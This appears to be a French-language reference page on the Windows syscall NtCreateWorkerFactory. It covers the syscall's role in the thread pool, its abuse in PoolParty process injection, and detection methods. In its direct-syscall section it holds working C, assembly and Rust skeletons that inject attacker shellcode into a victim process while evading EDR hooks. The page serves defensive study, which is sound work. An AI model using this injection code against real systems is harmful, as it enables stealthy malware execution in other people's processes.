NtCreateWorkerFactory

Prototype

NTSTATUS NtCreateWorkerFactory(
  PHANDLE             WorkerFactoryHandleReturn,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  HANDLE              CompletionPortHandle,
  HANDLE              WorkerProcessHandle,
  PVOID               StartRoutine,
  PVOID               StartParameter,
  ULONG               MaxThreadCount,
  SIZE_T              StackReserve,
  SIZE_T              StackCommit
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 D5 00 00 00      mov eax, 0xD5
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtCreateWorkerFactory est la moitié noyau du threadpool Windows en mode utilisateur : chaque `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` dans kernel32 / ntdll pilote in fine un objet `WorkerFactory` via ce syscall. La factory relie un port de complétion d'E/S (source des éléments de travail), un processus cible pour les threads de travail, et une `StartRoutine` invoquée à la mise en ligne des threads. Pour le code légitime, cette StartRoutine est `ntdll!TppWorkerThread`, qui boucle ensuite dans `NtWaitForWorkViaWorkerFactory`. La conception non documentée — un seul syscall créant des threads dans un processus arbitraire avec un point d'entrée arbitraire — en fait une primitive d'injection puissante, et le numéro de syscall dérive presque à chaque release.

Usage courant par les malwares

C'est la base de la famille d'injection PoolParty divulguée par Alon Leviev (SafeBreach) à Black Hat Europe 2023. La variante canonique : ouvrir un handle vers un processus distant, créer un port de complétion d'E/S et une worker factory dans ce processus avec `StartRoutine` pointant vers du shellcode fourni par l'attaquant dans l'espace d'adressage distant, puis poster du travail pour réveiller les threads. Résultat : exécution de code dans la cible *sans jamais appeler* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection`, ni aucune des sept ou huit primitives de création de thread que quasiment tous les EDR hookent. Huit variantes distinctes de PoolParty aboutissent toutes ici.

Opportunités de détection

La création d'une worker factory traversant les frontières de processus est le signal le plus fiable. Un `NtCreateWorkerFactory` inter-processus (où `WorkerProcessHandle` ne désigne pas le processus appelant) est essentiellement inédit hors outils offensifs. ETW offre une couverture limitée — le provider Microsoft-Windows-Threading émet certains événements worker factory mais pas le syscall lui-même ; le provider Threat-Intelligence ne couvre pas cette primitive actuellement. Détection pratique : inspection par callback noyau du `ProcessHandle` de l'objet `WorkerFactory` comparé à l'EPROCESS créateur, ou hooking utilisateur de ntdll!NtCreateWorkerFactory (que les syscalls directs contournent — d'où le besoin de l'approche noyau). Le scan VAD du processus cible pour des régions RX sans image suivi d'une worker factory référençant cette région est la traque post-incident la plus propre.

Exemples de syscalls directs

// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.

HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);

// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
                  0, 0, DUPLICATE_SAME_ACCESS);

// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
                      WORKER_FACTORY_ALL_ACCESS, NULL,
                      hRemoteIoCompletion,
                      hProc,                    // <-- victim process
                      pRemoteShellcode,         // <-- attacker payload
                      NULL,                     // StartParameter
                      1, 0x100000, 0x10000);

// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);

; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 0D5h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtCreateWorkerFactory ENDP

// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;

unsafe fn spawn_remote_worker(
    victim: HANDLE,
    remote_iocp: HANDLE,
    remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
    let mut wf: HANDLE = 0;
    let status = NtCreateWorkerFactory(
        &mut wf as *mut _ as *mut _,
        0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
        core::ptr::null_mut(),
        remote_iocp,
        victim,
        remote_payload,
        core::ptr::null_mut(),
        1,
        0x100000,
        0x10000,
    );
    assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
    wf
}

Mappings MITRE ATT&CK

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗